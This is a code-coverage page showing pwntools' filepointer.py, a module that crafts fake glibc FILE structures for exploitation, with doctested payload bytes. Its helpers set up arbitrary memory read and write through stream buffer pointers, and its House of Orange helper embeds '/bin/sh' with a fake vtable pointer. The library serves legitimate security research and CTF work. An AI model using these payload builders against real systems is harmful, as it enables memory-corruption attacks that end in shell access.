• Home
  • Features
  • Pricing
  • Docs
  • Announcements
  • Sign In

Gallopsled / pwntools / 14033992485

24 Mar 2025 11:19AM UTC coverage: 74.203% (-0.3%) from 74.477%
14033992485

push

github

Arusekk
Merge branch 'beta' into dev

3812 of 6382 branches covered (59.73%)

4 of 6 new or added lines in 3 files covered. (66.67%)

2654 existing lines in 80 files now uncovered.

13352 of 17994 relevant lines covered (74.2%)

0.74 hits per line

Source File
Press 'n' to go to next uncovered line, 'b' for previous

93.16
/pwnlib/filepointer.py
1
# -*- coding: utf-8 -*-
2

3
r"""
4
File Structure Exploitation
5

6
struct FILE (_IO_FILE) is the structure for File Streams.
7
This offers various targets for exploitation on an existing bug in the code.
8
Examples - ``_IO_buf_base`` and ``_IO_buf_end`` for reading data to arbitrary location.
9

10
Remembering the offsets of various structure members while faking a FILE structure can be difficult,
11
so this python class helps you with that. Example-
12

13
>>> context.clear(arch='amd64')
14
>>> fileStr = FileStructure(null=0xdeadbeef)
15
>>> fileStr.vtable = 0xcafebabe
16
>>> payload = bytes(fileStr)
17
>>> payload
18
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00'
19

20
Now payload contains the FILE structure with its vtable pointer pointing to 0xcafebabe
21

22
Currently only 'amd64' and 'i386' architectures are supported
23
"""
24

25
from __future__ import absolute_import
1✔
26
from __future__ import division
1✔
27

28
from pwnlib.context import context
1✔
29
from pwnlib.log import getLogger
1✔
30
from pwnlib.util.packing import pack
1✔
31

32
log = getLogger(__name__)
1✔
33

34
length=0
1✔
35
size='size'
1✔
36
name='name'
1✔
37

38
variables={
1✔
39
    0:{name:'flags',size:length},
40
    1:{name:'_IO_read_ptr',size:length},
41
    2:{name:'_IO_read_end',size:length},
42
    3:{name:'_IO_read_base',size:length},
43
    4:{name:'_IO_write_base',size:length},
44
    5:{name:'_IO_write_ptr',size:length},
45
    6:{name:'_IO_write_end',size:length},
46
    7:{name:'_IO_buf_base',size:length},
47
    8:{name:'_IO_buf_end',size:length},
48
    9:{name:'_IO_save_base',size:length},
49
    10:{name:'_IO_backup_base',size:length},
50
    11:{name:'_IO_save_end',size:length},
51
    12:{name:'markers',size:length},
52
    13:{name:'chain',size:length},
53
    14:{name:'fileno',size:4},
54
    15:{name:'_flags2',size:4},
55
    16:{name:'_old_offset',size:length},
56
    17:{name:'_cur_column',size:2},
57
    18:{name:'_vtable_offset',size:1},
58
    19:{name:'_shortbuf',size:1},
59
    20:{name:'unknown1',size:-4},
60
    21:{name:'_lock',size:length},
61
    22:{name:'_offset',size:8},
62
    23:{name:'_codecvt',size:length},
63
    24:{name:'_wide_data',size:length},
64
    25:{name:'unknown2',size:length},
65
    26:{name:'vtable',size:length}
66
}
67

68
del name, size, length
1✔
69

70

71
def update_var(l):
1✔
72
    r"""
73
    Since different members of the file structure have different sizes, we need to keep track of the sizes. The following function is used by the FileStructure class to initialise the lengths of the various fields.
74

75
    Arguments:
76
        l(int)
77
            l=8 for 'amd64' architecture and l=4 for 'i386' architecture
78

79
    Return Value:
80
        Returns a dictionary in which each field is mapped to its corresponding length according to the architecture set
81

82
    Examples:
83

84
        >>> update_var(8)
85
        {'flags': 8, '_IO_read_ptr': 8, '_IO_read_end': 8, '_IO_read_base': 8, '_IO_write_base': 8, '_IO_write_ptr': 8, '_IO_write_end': 8, '_IO_buf_base': 8, '_IO_buf_end': 8, '_IO_save_base': 8, '_IO_backup_base': 8, '_IO_save_end': 8, 'markers': 8, 'chain': 8, 'fileno': 4, '_flags2': 4, '_old_offset': 8, '_cur_column': 2, '_vtable_offset': 1, '_shortbuf': 1, 'unknown1': 4, '_lock': 8, '_offset': 8, '_codecvt': 8, '_wide_data': 8, 'unknown2': 48, 'vtable': 8}
86
    """
87
    var={}
1✔
88
    for i in variables:
1✔
89
        var[variables[i]['name']]=variables[i]['size']
1✔
90
    for i in var:
1✔
91
        if var[i]<=0:
1✔
92
            var[i]+=l
1✔
93
    if l==4:
1!
UNCOV
94
        var['unknown2']=56
×
95
    else:
96
        var['unknown2']=48
1✔
97
    return var
1✔
98

99

100
class FileStructure(object):
1✔
101
    r"""
102
    Crafts a FILE structure, with default values for some fields, like _lock which should point to null ideally, set.
103

104
    Arguments:
105
        null(int)
106
            A pointer to NULL value in memory. This pointer can lie in any segment (stack, heap, bss, libc etc)
107

108
    Examples:
109

110
        FILE structure with flags as 0xfbad1807 and _IO_buf_base and _IO_buf_end pointing to 0xcafebabe and 0xfacef00d
111

112
        >>> context.clear(arch='amd64')
113
        >>> fileStr = FileStructure(null=0xdeadbeeef)
114
        >>> fileStr.flags = 0xfbad1807
115
        >>> fileStr._IO_buf_base = 0xcafebabe
116
        >>> fileStr._IO_buf_end = 0xfacef00d
117
        >>> payload = bytes(fileStr)
118
        >>> payload
119
        b'\x07\x18\xad\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\r\xf0\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
120

121
        Check the length of the FileStructure
122

123
        >>> len(fileStr)
124
        224
125

126
        The definition for __repr__ orders the structure members and displays then in a dictionary format. It's useful when viewing a structure objet in python/IPython shell
127

128
        >>> q=FileStructure(0xdeadbeef)
129
        >>> q
130
        { flags: 0x0
131
         _IO_read_ptr: 0x0
132
         _IO_read_end: 0x0
133
         _IO_read_base: 0x0
134
         _IO_write_base: 0x0
135
         _IO_write_ptr: 0x0
136
         _IO_write_end: 0x0
137
         _IO_buf_base: 0x0
138
         _IO_buf_end: 0x0
139
         _IO_save_base: 0x0
140
         _IO_backup_base: 0x0
141
         _IO_save_end: 0x0
142
         markers: 0x0
143
         chain: 0x0
144
         fileno: 0x0
145
         _flags2: 0x0
146
         _old_offset: 0xffffffffffffffff
147
         _cur_column: 0x0
148
         _vtable_offset: 0x0
149
         _shortbuf: 0x0
150
         unknown1: 0x0
151
         _lock: 0xdeadbeef
152
         _offset: 0xffffffffffffffff
153
         _codecvt: 0x0
154
         _wide_data: 0xdeadbeef
155
         unknown2: 0x0
156
         vtable: 0x0}
157
    """
158

159
    vars_=[]
1✔
160
    length={}
1✔
161

162
    def __init__(self, null=0):
1✔
163
            self.vars_ = [variables[i]['name'] for i in sorted(variables.keys())]
1✔
164
            self.setdefault(null)
1✔
165
            self.length = update_var(context.bytes)
1✔
166
            self._old_offset = (1 << context.bits) - 1
1✔
167

168
    def __setattr__(self,item,value):
1✔
169
        if item in FileStructure.__dict__ or item in self.vars_:
1!
170
            object.__setattr__(self,item,value)
1✔
171
        else:
UNCOV
172
            log.error("Unknown variable %r" % item)
×
173

174
    def __repr__(self):
1✔
175
        structure=[]
1✔
176
        for i in self.vars_:
1✔
177
            structure.append(" %s: %#x" % (i, getattr(self, i)))
1✔
178
        return "{"+ "\n".join(structure)+"}"
1✔
179

180
    def __len__(self):
1✔
181
        return len(bytes(self))
1✔
182

183
    def __bytes__(self):
1✔
184
        structure = b''
1✔
185
        for val in self.vars_:
1✔
186
            if isinstance(getattr(self, val), bytes):
1✔
187
                structure += getattr(self, val).ljust(context.bytes, b'\x00')
1✔
188
            else:
189
                if self.length[val] > 0:
1!
190
                    structure += pack(getattr(self, val), self.length[val]*8)
1✔
191
        return structure
1✔
192

193
    def struntil(self,v):
1✔
194
        r"""
195
        Payload for stuff till 'v' where 'v' is a structure member. This payload includes 'v' as well.
196

197
        Arguments:
198
            v(string)
199
                The name of the field uptil which the payload should be created.
200

201
        Example:
202

203
            Payload for data uptil _IO_buf_end
204

205
            >>> context.clear(arch='amd64')
206
            >>> fileStr = FileStructure(0xdeadbeef)
207
            >>> payload = fileStr.struntil("_IO_buf_end")
208
            >>> payload
209
            b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
210
        """
211
        if v not in self.vars_:
1!
UNCOV
212
            return b''
×
213
        structure = b''
1✔
214
        for val in self.vars_:
1!
215
            if isinstance(getattr(self, val), bytes):
1!
UNCOV
216
                structure += getattr(self, val).ljust(context.bytes, b'\x00')
×
217
            else:
218
                structure += pack(getattr(self, val), self.length[val]*8)
1✔
219
            if val == v:
1✔
220
                break
1✔
221
        return structure[:-1]
1✔
222

223
    def setdefault(self,null):
1✔
224
            self.flags=0
1✔
225
            self._IO_read_ptr=0
1✔
226
            self._IO_read_end=0
1✔
227
            self._IO_read_base=0
1✔
228
            self._IO_write_base=0
1✔
229
            self._IO_write_ptr=0
1✔
230
            self._IO_write_end=0
1✔
231
            self._IO_buf_base=0
1✔
232
            self._IO_buf_end=0
1✔
233
            self._IO_save_base=0
1✔
234
            self._IO_backup_base=0
1✔
235
            self._IO_save_end=0
1✔
236
            self.markers=0
1✔
237
            self.chain=0
1✔
238
            self.fileno=0
1✔
239
            self._flags2=0
1✔
240
            self._old_offset=0
1✔
241
            self._cur_column=0
1✔
242
            self._vtable_offset=0
1✔
243
            self._shortbuf=0
1✔
244
            self.unknown1=0
1✔
245
            self._lock=null
1✔
246
            self._offset=0xffffffffffffffff
1✔
247
            self._codecvt=0
1✔
248
            self._wide_data=null
1✔
249
            self.unknown2=0
1✔
250
            self.vtable=0
1✔
251

252
    def write(self,addr=0,size=0):
1✔
253
        r"""
254
        Writing data out from arbitrary memory address.
255

256
        Arguments:
257
            addr(int)
258
                The address from which data is to be printed to stdout
259
            size(int)
260
                The size, in bytes, of the data to be printed
261

262
        Example:
263

264
            Payload for writing 100 bytes to stdout from the address 0xcafebabe
265

266
            >>> context.clear(arch='amd64')
267
            >>> fileStr = FileStructure(0xdeadbeef)
268
            >>> payload = fileStr.write(addr=0xcafebabe, size=100)
269
            >>> payload
270
            b'\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00'
271
        """
272
        self.flags &=~8
1✔
273
        self.flags |=0x800
1✔
274
        self._IO_write_base = addr
1✔
275
        self._IO_write_ptr = addr+size
1✔
276
        self._IO_read_end = addr
1✔
277
        self.fileno = 1
1✔
278
        return self.struntil('fileno')
1✔
279

280
    def read(self,addr=0,size=0):
1✔
281
        r"""
282
        Reading data into arbitrary memory location.
283

284
        Arguments:
285
            addr(int)
286
                The address into which data is to be written from stdin
287
            size(int)
288
                The size, in bytes, of the data to be written
289

290
        Example:
291

292
            Payload for reading 100 bytes from stdin into the address 0xcafebabe
293

294
            >>> context.clear(arch='amd64')
295
            >>> fileStr = FileStructure(0xdeadbeef)
296
            >>> payload = fileStr.read(addr=0xcafebabe, size=100)
297
            >>> payload
298
            b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
299
        """
300
        self.flags &=~4
1✔
301
        self._IO_read_base = 0
1✔
302
        self._IO_read_ptr = 0
1✔
303
        self._IO_buf_base = addr
1✔
304
        self._IO_buf_end = addr+size
1✔
305
        self.fileno = 0
1✔
306
        return self.struntil('fileno')
1✔
307

308
    def orange(self,io_list_all,vtable):
1✔
309
        r"""
310
        Perform a House of Orange (https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c), provided you have libc leaks.
311

312
        Arguments:
313
            io_list_all(int)
314
                Address of _IO_list_all in libc.
315
            vtable(int)
316
                Address of the fake vtable in memory
317

318
        Example:
319

320
            Example payload if address of _IO_list_all is 0xfacef00d and fake vtable is at 0xcafebabe -
321

322
            >>> context.clear(arch='amd64')
323
            >>> fileStr = FileStructure(0xdeadbeef)
324
            >>> payload = fileStr.orange(io_list_all=0xfacef00d, vtable=0xcafebabe)
325
            >>> payload
326
            b'/bin/sh\x00a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfd\xef\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00'
327
        """
328
        if context.bits == 64:
1!
329
            self.flags = b'/bin/sh\x00'
1✔
330
            self._IO_read_ptr = 0x61
1✔
331
            self._IO_read_base = io_list_all-0x10
1✔
UNCOV
332
        elif context.bits == 32:
×
UNCOV
333
            self.flags = b'sh\x00'
×
334
            self._IO_read_ptr = 0x121
×
335
            self._IO_read_base = io_list_all-0x8
×
336
        self._IO_write_base = 0
1✔
337
        self._IO_write_ptr = 1
1✔
338
        self.vtable = vtable
1✔
339
        return self.__bytes__()
1✔
STATUS · Troubleshooting · Open an Issue · Sales · Support · CAREERS · ENTERPRISE · START FREE · SCHEDULE DEMO
ANNOUNCEMENTS · TWITTER · TOS & SLA · Supported CI Services · What's a CI service? · Automated Testing

© 2026 Coveralls, Inc